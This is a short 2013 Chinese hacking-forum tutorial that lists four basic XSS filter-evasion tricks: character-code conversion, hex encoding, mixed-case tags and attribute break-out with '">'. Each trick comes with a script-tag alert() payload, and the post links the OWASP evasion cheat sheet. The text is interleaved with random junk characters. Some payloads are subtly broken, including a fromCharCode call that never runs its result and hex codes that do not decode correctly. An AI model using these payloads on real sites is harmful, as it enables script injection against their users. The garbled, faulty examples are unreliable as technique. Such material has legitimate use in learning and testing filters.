找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2161|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
" z2 _# X3 n2 T# w8 q, P9 Z1.转换为ASCII码( ~! ^* O4 @3 [( P. z
例子:原脚本为<script>alert(‘I love F4ck’)</script >
! K- q! ?0 y; P: K/ h通过转换,变成:& H/ g3 i# @5 o0 G" ~" S
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
  w) n: p% ^' f% D, ~
0 {# L0 N  }% L; h2.转换为HEX(十六进制)" N- l" j3 m2 t+ f! Y" s' _/ [
例子:原脚本为<script>alert(‘I love F4ck’)</script>
0 [, _; i9 `; J0 d+ b1 _: l5 T通过转换,变成:  D/ ~" X2 |4 j/ h0 V' R+ N
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e* D; I6 h$ E. q( u
, v* y( n: t# y
3.转换脚本的大小写
& T+ V8 [; O8 M例子:原脚本为<script>alert(‘I love F4ck’)</script>
9 K) B- X9 e2 `$ r) R! ~  t9 s转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>4 |$ `: z2 \: f, S! K
& p8 `) V9 Y' o3 M* S( W' j
4.增加闭合标记”>
) S4 T, d5 s+ h例子:原脚本为<script>alert(‘I love F4ck’)</script>
1 p2 X+ ?+ r1 V2 @. G$ }6 e转换为:”><script>alert(‘I love F4ck’)</script>
' H. V* h% f  }更详细绕过技术请参考此网页
/ Y0 ^1 b/ [. P7 J% k$ }2 Ghttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet3 T9 z$ g& O) X3 |# w' h  E
# I8 N$ A- e! n' l9 F
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表